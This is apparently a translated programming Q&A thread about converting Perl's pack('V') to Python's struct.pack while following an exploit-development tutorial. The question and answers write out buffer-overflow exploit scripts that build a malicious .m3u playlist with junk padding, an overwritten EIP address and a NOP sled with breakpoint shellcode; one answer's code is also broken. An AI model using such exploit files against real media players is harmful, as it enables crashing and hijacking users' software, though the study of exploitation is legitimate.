Python 中 Perl 的 Pack('V') 函数？

Question

我最近一直在进行一些漏洞利用开发，为培训课程做好准备，但我在教程中遇到了问题。我一直在遵循我能找到的所有教程，出于偏好，使用 Python 而不是教程使用的语言。我正在尝试对所有内容进行交叉编码，但我不知道如何对 Perl 的 Pack() 函数进行交叉编码。

长话短说： 我正在尝试将其翻译为 python：

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";

我找到了 Python 的 struct.pack() 函数，但是当我使用 时

Fuzzed.write(struct.pack('V', 0x773D10A4))

，它会停止程序并且不起作用。我做错了什么？

这是我的全部源代码

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)

Answer 1

尝试使用“L<”包模板而不是“V”。这应该适用于 Perl 和 Python。 N 和 V 是指定字节顺序的旧 Perl 方法，而 < 和 > 是较新的方法。看起来当 Python 从 Perl 借用 pack 时，它只是采用了更新、更灵活的接口。

编辑：Python 想要< 在类型说明符之前，而 Perl 希望它在之后。不太兼容:(

Answer 2

Python 的 struct.pack 使用第一个字符作为 字节序/大小变化，然后是 数据类型。 Perl 的 V 表示 32 位无符号 int/little-endian。

Python 的类似物是 struct.pack('。

Answer 3

我已经翻译成 python 并且我已经尝试过 MP3 转换器。这是你的答案：

import sys
file = "8.m3u"
junk = "A"*26042
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A
shellcode =" " 
shellcode += "\x90"*25
shellcode += "xcc"
shellcode += "\x90"*25
tmp = junk + eip + shellcode
D = open(file, 'w')
D.write(tmp)
D.close()
print "m3u File Created successfully\n"

Answer 4

这正是您想要的。培训课程怎么样？

import struct 


file = 'crash.m3u'
junk = b'\x41' * 26091
eip = struct.pack('<I', 0x1d5f23a)
preshellcode = b'\xcc' * 4
shellcode = b'\x90' * 25 + b'\xcc'
fp = open(file, 'wb')
fp.write(junk + eip + preshellcode + shellcode)
fp.close()

import binascii
print binascii.hexlify(open(file, 'rb').read())

print 'm3u file is ready'

Answer 5

我正在学习相同/相似的教程。尼克的回答对我来说完全有效。我还测试了在易受攻击的软件上创建的 m3u 文件。它确实有效，尽管我的 EIP 地址不同。我在 Linux 机器上使用 python 3.7.5 运行它。这是修改后的代码：

import struct

Fuzzed = open('Fuzzed.m3u','wb')
Fuzzed.write(b'A' * 26072)
string = struct.pack('<I',0x773D10A4)
Fuzzed.write(string)
Fuzzed.write(b'C' * 3000)

我们需要将所有内容转换为字节对象的原因是 pack 函数返回一个字节对象，并且我们无法将其与字符串连接。另外 str(struct.pack('

string = b'\xA4' + b'\x10' + b'\x3D' + b'\x77'